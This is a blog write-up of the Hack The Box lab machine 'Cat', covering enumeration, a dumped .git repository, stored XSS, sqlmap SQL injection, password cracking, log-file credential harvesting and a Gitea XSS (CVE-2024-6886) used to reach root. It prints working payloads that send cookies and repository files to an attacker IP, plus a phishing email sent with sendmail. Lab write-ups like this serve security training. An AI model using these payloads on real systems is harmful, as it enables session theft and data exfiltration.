1679 words
8 minutes
HTB: Cat (Linux/Medium)

Recon šŸ•µļø#

Network Enumeration#

TCP Scan#

ip=10.129.70.218
nmap -sCV -p- -vv -A -T5 -oA scan/normal $ip

Based on the TCP scan results, the following ports are available for further assessment:

PortSoftwareVersionStatus
22/tcpsshttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)open
80/tcphttpttl 63 Apache httpd 2.4.41 ((Ubuntu))open

Based on the scan results, we can observe that port 80 is open and running an Apache HTTP server on an Ubuntu server. Additionally, the scan discloses the domain cat.htb:

Pasted image 20250203095957.png

let’s add it to our /etc/hosts file :

echo "$ip cat.htb" | sudo tee -a /etc/hosts

UDP scan#

./udpz $ip --retries 1 --timeout 20000

Based on the UDP scan results, no open ports were identified for further assessment.

Web Enumeration#

Port 80: cat.htb#

At first glance, the website appears to be for a cat competition and is built with PHP:

Pasted image 20250203102646.png

In /vote.php, we can see pictures of 3 cute cats, but the vote is closed, and the vote button does nothing:

Pasted image 20250203103433.png

In /contest.php, we get redirected to /join.php, which contains both a registration page and a login page:

Pasted image 20250203103818.png

In /winners.php, we see the results of the vote, with the cutest cat being third:

Pasted image 20250203104137.png

From all of this, I have two ideas. The first one is testing the login page for common vulnerabilities, and the second one is downloading one of the pictures to check its metadata. Let’s start with that.

To check the picture, I’ll use one of my favorite tools, exiftool:

exiftool cat1.jpg 

And we don’t see anything interesting:

Pasted image 20250203105002.png

Fuzzing directories :#

Before checking the login page, let’s fuzz the website for sub-directories and files first:

gobuster dir -u http://cat.htb/ -w /usr/share/seclists/Discovery/Web-Content/quickhits.txt

We can see multiple 200 OK, 403 Forbidden, and 302 Found hits, but these two caught my attention:

/.git                 (Status: 301) [Size: 301] [--> http://cat.htb/.git/]
/admin.php            (Status: 302) [Size: 1] [--> /join.php]

Let’s dump the .git directory first:

git-dumper http://cat.htb/.git catGit

I started by doing the first thing I like to do when I have access to a git repository: checking the commit history for usernames and emails. Additionally, we can see the source code of the website, so we’ll be doing some white-box pentesting, which is a nice change of pace from the last boxes:

Pasted image 20250203105926.png

Axel:axel2017@gmail.com

In the view_cat.php file, we can see that axel is a user on the website with admin privileges:

Pasted image 20250203111026.png

White-Box pentesting:#
Identifying Stored XSS in /contest.php:#

In the contest.php file, we can see the logic for adding a cat to the contest. The code uses prepared statements, which is a good countermeasure against SQL injection, as it safely handles user inputs in SQL queries. However, the code doesn’t appear to sanitize the parameters against HTML tags or special characters. This opens the possibility for Cross-Site Scripting (XSS) attacks. Specifically, If we inject an XSS payload into one of the parameters while submitting our cat, and the server later displays this unsanitized input on the page, it could lead to stored XSS. This would allow our script to run in the context of other users viewing the contest page, potentially stealing cookies:

Pasted image 20250203112602.png

Prepared statements work by first sending a SQL query to the database with placeholders for data (e.g., ? or :parameter_name) instead of directly including user inputs. The database then parses and compiles this query, understanding its structure without the actual data being involved. Afterward, the application binds the user input to these placeholders, ensuring that the data is treated separately from the SQL query itself. This prevents attackers from manipulating the query, as the user input cannot alter the SQL command’s structure, thus protecting against SQL injection.

In view_cat.php, we can see that the parameters used on the website are not sanitized, which supports the possibility of XSS attacks, similar to what we observed in the contest.php file:

Pasted image 20250203113246.png

Identifying SQLi in accept_cat.php#

In accept_cat.php, we can observe that the logic for adding and deleting cats from the database employs prepared statements for the cat deletion process, which serves as a good countermeasure against SQL injection, as we discussed earlier. However, the cat insertion logic does not use prepared statements, making it vulnerable to the same attack. Specifically, in the insertion query:

Pasted image 20250203113902.png

Attack Chain:#

Based on what we’ve gathered so far, I think our attack chain should be as follows:

Pasted image 20250203130801.png

Exploiting 🦈#

Foothold#

Shell as rosa:#

Exploiting Stored XSS:#

To test our theory, let’s first create an account and log in with it using this payload as a username:

<img src=x onerror=this.src="http://10.10.14.34:6699/"+btoa(document.cookie)>

Pasted image 20250203130231.png

Now try to add our own cat to the competition:

Pasted image 20250203130354.png

And we get a hit with the base64 encoded cookie:

Pasted image 20250203130515.png

Let’s decode it:

echo "UEhQU0VTU0lEPW45YThrbnRpNDU1YnR1M2NodnVna2FxNWpm" | base64 -d

PHPSESSID=n9a8knti455btu3chvugkaq5jf

Now we can use that cookie to access the admin.php page:

Pasted image 20250203132618.png

And we can see the cat that we added:

Pasted image 20250203132724.png

Exploit Sql Injection:#

Now that we have access to accept_cat.php, let’s test it for `SQLi:

sqlmap -u "http://cat.htb/accept_cat.php" --data "catId=6&catName=niko" --cookie="PHPSESSID=n9a8knti455btu3chvugkaq5jf" -p catName --level=5 --risk=3 --batch --dbms=SQLite

And we can see that it’s indeed vulnerable to a boolean-based blind SQL injection:

Pasted image 20250203135139.png

Let’s get the table names:

sqlmap -u "http://cat.htb/accept_cat.php" --data "catId=6&catName=niko" --cookie="PHPSESSID=n9a8knti455btu3chvugkaq5jf" -p catName --level=5 --risk=3 --batch --dbms=SQLite --tables

And we get 4 tables:

+-----------------+
| accepted_cats   |
| cats            |
| sqlite_sequence |
| users           |
+-----------------+

The users table seems suspicious, so let’s dump it:

sqlmap -u "http://cat.htb/accept_cat.php" --data "catId=6&catName=niko" --cookie="PHPSESSID=n9a8knti455btu3chvugkaq5jf" -p catName --level=5 --risk=3 --batch --dbms=SQLite -T users --dump

And we get a table of users and their hashed passwords:

user_idemailpasswordusername
1axel2017@gmail.comd1bbba3670feb9435c9841e46e60ee2faxel
2rosamendoza485@gmail.comac369922d560f17d6eeb8b2c7dec498crosa
3robertcervantes2000@gmail.com42846631708f69c00ec0c0a8aa4a92adrobert
4fabiancarachure2323@gmail.com39e153e825c4a3d314a0dc7f7475ddbefabian
5jerrysonC343@gmail.com781593e060f8d065cd7281c5ec5b4b86jerryson
6larryP5656@gmail.com1b6dce240bbfbc0905a664ad199e18f8larry
7royer.royer2323@gmail.comc598f6b844a36fa7836fba0835f1f6royer
8peterCC456@gmail.come41ccefa439fc454f7eadbf1f139ed8apeter
9angel234g@gmail.com24a8ec003ac2e1b3c5953a6f95f8f565angel
10jobert2020@gmail.com88e4dceccd48820cf77b5cf6c08698adjobert
11frenzy@frenzy.com5b956dc4f880a4aa8c5f3e9f330df83c (frenzy)<img src=x onerror=this.src=ā€œhttp://10.10.14.34:6699/ā€œ+btoa(document.cookie)>

Let’s prepare a crackable list from the dumped data; maybe we will find a user’s credentials that can be reused for SSH:

d1bbba3670feb9435c9841e46e60ee2f
ac369922d560f17d6eeb8b2c7dec498c
42846631708f69c00ec0c0a8aa4a92ad
39e153e825c4a3d314a0dc7f7475ddbe
781593e060f8d065cd7281c5ec5b4b86
1b6dce240bbfbc0905a664ad199e18f8
c598f6b844a36fa7836fba0835f1f6
e41ccefa439fc454f7eadbf1f139ed8a
24a8ec003ac2e1b3c5953a6f95f8f565
88e4dceccd48820cf77b5cf6c08698ad

And we get Rosa’s password:

Pasted image 20250203140544.png

rosa:soyunaprincesarosa

Let’s try to SSH with those credentials:

ssh rosa@cat.htb

And we’re in. We didn’t get the flag, but we can see that rosa is part of the adm group:

Pasted image 20250204095246.png

Privilege Escalation#

shell as axel:#

By doing a little bit of manual enumeration, we can see that there are four more users in the system:

Pasted image 20250203141016.png

We can see that our user is part of the adm group,

Pasted image 20250204094643.png

The linpeas scan didn’t provide anything useful, except that it pointed me towards axel, as he is already a user on the website, based on what we’ve seen in the source code. Additionally, he was logged into the system, and since we already know that rosa is part of the adm group, if we look up what that group is capable of in the Debian Wiki, we can see that, among other things, it can read log files. So, let’s go through the website’s log files and see if we can find anything related to axel:

grep -r "axel" /var/log/apache2/

And we were right, there is their cleartext password:

Pasted image 20250203142648.png

axel:aNdZwgC4tI9gnVXv_e3Q

By switching to axel using the password we found, We are told that we have mail and we also obtained our user flag:

ssh axel@cat.htb

Pasted image 20250203143940.png

Shell as root#

Let’s start by checking out the mail, We can see that there are 3 mails but we can only read ours:

Pasted image 20250203145701.png

We got a lot of information from those two mails, the most important being that they are running their own private Gitea locally on port 3000.

Knowing that, I ran a quick network scan to see which ports the machine is listening to. We can see port 3000, which is used for Gitea, and port 25, which is usually used by mail services. So, let’s forward both ports with an SSH tunnel and then access them.

Pasted image 20250203155008.png

ssh -L 3000:127.0.0.1:3000 -L 2555:127.0.0.1:25 axel@cat.htb

Let’s start with port 3000. We can see the custom Gitea running version 1.22.0:

Pasted image 20250203152954.png

After a quick Google search, we can see that it’s vulnerable to stored XSS:

Pasted image 20250203152018.png

Since we need to be authenticated to run that exploit, let’s first log in with axel’s credentials. We are presented with an empty account with no repositories, and we can’t access the repository mentioned in the email. This suggests that the attack vector will likely involve leveraging the XSS vulnerability to create a new repository and send it to whoever manages the Gitea repositories probably jobert. The goal is to trick them into triggering the payload, allowing us to read files from the administrator database. With a bit of luck, we might even find plaintext credentials once again.

CVE-2024-6886#

So, all we have to do is create a new repository with our XSS payload in its description:

<a href="javascript:fetch('http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md')
.then(response => response.text())
.then(data => fetch('http://10.10.14.34:6699/?resp=' + encodeURIComponent(btoa(data))))
.catch(error => console.error('Error:', error));">XSS</a>
<a href="javascript:fetch('http://10.10.16.39/steal?cookie='+encodeURIComponent(btoa(document.cookie)));">whatever</a>

Pasted image 20250203163234.png

We can see that our repository was created. Let’s add a new file to initialize it:

Pasted image 20250203163530.png

Now that we have it all setup, let’s send a mail to jobert:

echo -e "Subject: Not Malicious \n\nLeak Secret Files to me pwease http://localhost:3000/axel/malicious" | sendmail jobert@localhost

Pasted image 20250203165957.png

Now that we can read the files, and since everything on this box is built in PHP, let’s use the same payload to read a potential index.php:

<a href="javascript:fetch('http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php')
.then(response => response.text())
.then(data => fetch('http://10.10.14.34:6699/?resp=' + encodeURIComponent(btoa(data))))
.catch(error => console.error('Error:', error));">XSS</a>

We get our response, and after decoding the text, we see what looks like admin credentials. Let’s try them with jobertand root, maybe they reused them:

Pasted image 20250203170814.png

admin:IKw75eR0MR7CMIxhH0

Trying it with root, we gain access and also obtain the root flag:

Pasted image 20250203171520.png

Beyond Root 😈#

Jobert the Creep#

After I got root, one question remained unanswered: ā€œHow do they read the mail and execute the payload?ā€. So, let’s snoop around and see what happens behind the curtains. To do that, we need to set up a couple listeners:

  • A listener on jobert’s session to see how the mail is received. For that, I’m going to use tail -f /var/mail/jobert.
  • A pspy64 listener to monitor the commands that jobert executes upon receiving an email.

Conclusion šŸ#

Overall, this box was a refreshing change of pace compared to the other boxes this season. It tackled a variety of interesting concepts that are highly relevant to both penetration testing and bug bounty programs. The challenges presented required not just technical skills but also a strategic approach, making it a well-rounded experience. It offered a great opportunity to practice real-world scenarios, from privilege escalation techniques to web exploitation tactics, which are commonly encountered in professional environments. This box not only tested technical knowledge but also encouraged critical thinking and thorough enumeration, making it an excellent exercise for sharpening both offensive and analytical skills.

HTB: Cat (Linux/Medium)
https://www.0xfr3nzy.com/posts/htb-cat-linux-medium/
Author
0xfr3nzy
Published at
2025-07-07